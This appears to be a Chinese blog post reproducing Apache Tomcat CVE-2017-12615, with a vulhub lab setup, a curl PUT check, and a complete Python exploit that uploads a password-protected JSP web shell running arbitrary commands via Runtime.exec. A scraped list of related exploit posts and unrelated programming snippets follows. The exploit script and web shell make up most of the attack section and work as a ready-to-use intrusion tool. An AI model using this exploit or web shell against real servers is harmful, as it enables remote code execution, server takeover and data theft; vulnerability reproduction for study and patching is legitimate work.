CVE-2017-12615复现

0x00 漏洞介绍

漏洞编号:

CVE-2017-12615

CVE-2017-12616

漏洞名称:

CVE-2017-12615-远程代码执行漏洞

CVE-2017-12616-信息泄露漏洞

官方评级:

高危

漏洞描述:

CVE-2017-12616:信息泄露漏洞

当Tomcat中启用了 VirtualDirContext时,攻击者将能通过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由VirtualDirContext提供支持资源服务的JSP源代码,从而造成代码信息泄露。

CVE-2017-12615:远程代码执行漏洞

当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

通过以上两个漏洞可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。

漏洞利用条件和方式:

CVE-2017-12615漏洞利用需要在Windows环境,且需要将 readonly 初始化参数由默认值设置为 false,经过实际测试,Tomcat 7.x版本内web.xml配置文件内默认配置无readonly参数,需要手工添加,默认配置条件下不受此漏洞影响。

CVE-2017-12616漏洞需要在server.xml文件配置VirtualDirContext参数,经过实际测试,Tomcat 7.x版本内默认配置无VirtualDirContext参数,需要手工添加,默认配置条件下不受此漏洞影响。

漏洞影响范围:

CVE-2017-12616影响范围:Apache Tomcat 7.0.0 - 7.0.80

CVE-2017-12615影响范围: Apache Tomcat 7.0.0 - 7.0.79

0x01 环境搭建

使用docker搭建漏洞环境

github地址:

https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615

0x02 漏洞验证

这里我直接搭建在本地80端口上,linux系统下使用curl直接验证漏洞。

执行命令

curl -XPUT 127.0.0.1/2.jsp/ --data "test"

漏洞验证脚本

import requests
import sys
import time '''
Usage:
python CVE-2017-12615.py http://127.0.0.1 shell: http://127.0.0.1/201712615.jsp?pwd=fff&cmd=whoami ''' def attack(url):
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
headers={"User-Agent":user_agent}
data="""<%
if("fff".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>"""
try:
requests.put(url, headers=headers, data=data) time.sleep(2) verify_response = requests.get(url[:-1], headers=headers) if verify_response.status_code == 200:
print 'success!'
else :
print verify_response.status_code except :
"error" if __name__ == '__main__':
target_url = sys.argv[1] + '/201712615.jsp/' attack(target_url)
print 'shell: ' + target_url[:-1]

CVE-2017-12615漏洞复现附EXP的更多相关文章

  1. windows 快捷方式(.lnk)代码执行漏洞(CVE-2017-8464 )[附EXP生成工具]

    最近看到网上曝光了一个windows远程代码执行的漏洞,黑客可以通过一个快捷方式在用户电脑上执行任意指令,于是便对该漏洞进行了部分分析. 1. 漏洞描述: MicrosoftWindows .LNK  ...

  2. struts2(s2-052)远程命令执行漏洞复现

    漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...

  3. 8.Struts2-057漏洞复现

    漏洞信息: 定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行. url标签未设置va ...

  4. FlexPaper 2.3.6 远程命令执行漏洞 附Exp

    影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...

  5. CVE¬-2020-¬0796 漏洞复现(本地提权)

    CVE­-2020-­0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...

  6. SSRF——weblogic vulhub 漏洞复现及攻击内网redis(一)(附批量检测脚本)

    0X01 概述 SSRF(Server-Side Request Forgery, 服务端请求伪造)利用漏洞可以发起网络请求来攻击内网服务.利用SSRF能实现以下效果:1)        扫描内网(主 ...

  7. 20145330 《网络对抗》 Eternalblue(MS17-010)漏洞复现与S2-045漏洞的利用及修复

    20145330 <网络对抗> Eternalblue(MS17-010)漏洞利用工具实现Win 7系统入侵与S2-045漏洞的利用及修复 加分项目: PC平台逆向破解:注入shellco ...

  8. [漏洞复现]CVE-2018-4887 Flash 0day

    1.漏洞概述 2018年2月1号,Adobe官方发布安全通报(APSA18-01),声明Adobe Flash 28.0.0.137及其之前的版本,存在高危漏洞(CVE-2018-4878). 攻击者 ...

  9. CVE-2018-15982漏洞复现

    作者:欧根 漏洞信息:CVE-2018-15982 Adobe已发布适用于Windows,macOS,Linux和Chrome OS的Adobe Flash Player安全更新.这些更新解决一个  ...

随机推荐

  1. Oracle 撤回已经提交的事务

    在PL/SQL操作了一条delete语句习惯性的commit 了,因少加了where条件 导致多删了数据 1.查询视图v$sqlarea,找到操作那条SQL的时间(FIRST_LOAD_TIME) s ...

  2. mysql中generated always as的使用

    -- generated always as的使用 CREATE TABLE t1( c1 INT, c2 DOUBLE(20,19) , c3 INT GENERATED ALWAYS AS(c1* ...

  3. C# 不区分大小写替换文本

    C# .NET类库自带的str.Replace() 方法替换文本不能区分大小写.我们可以自己编写一个扩展方法,支持文本忽略大小写替换.以下扩展方法实现了使用正则表达式忽略大小写替换文本. public ...

  4. 突然发现,npm里request依赖包已经弃用,怎么办?

    摘要:在npm官网查看了request依赖包的当前状态,果然在2020年就被弃用了. 本文分享自华为云社区<npm里request依赖包已经弃用?致敬并调研替代方案!>,作者: gentl ...

  5. HTTP协议和HTTPS协议的那些事

    文章目录 HTTPS VS HTTP HTTPS=HTTP+加密+证书+完整性保护 加密 对称加密 非对称加密 混合加密 证书 完整性保护 HTTPS并不能取代HTTP SSL是把双刃剑 HTTPS的 ...

  6. Spring Boot 启动特别慢的问题

    Q:debug模式下代码编译没有问题,本来10 ms左右可以启动的项目,却耗时了3000多ms,why? A:删除项目中的断点,留几个要用的就行. 至于怎么一键删除所有断点,请自行搜索! 一度以为我的 ...

  7. 一个杂项PDF

    不是很难,但是就是比较考虑个人的细心程度,下载压缩包解压得到一个pdf文件,直接打开发现没有什么隐藏的信息,准换成word也是,没有什么东西,使用winhex打开看一下,一开始是没有注意到什么的,这里 ...

  8. Custom数据如何导入RENIX软件——网络测试仪实操

    在我们日常工作中,有的时候会需要把特定的数据内容从抓包软件中导入到RENIX软件中,然后以大速率发送出去,本文描述如何进行这样的操作. 一.整理需要抓取的数据部分 1.例如有一个数据包,里面包含特定的 ...

  9. 【C#基础概念】vs2019 代码段

    打开记事本,输入下面代码,然后把文件后缀改为.snippet .然后通过vs2019 工具>代码段管理导入. <?xml version="1.0" encoding= ...

  10. linux光盘使用、rpm软件包、yum软件仓库安装使用

    转至:https://blog.51cto.com/zpeng/1532520 一.光盘文件使用 1,RHEL5(x86_64)光盘结构 Cluster              //集群二进制包 C ...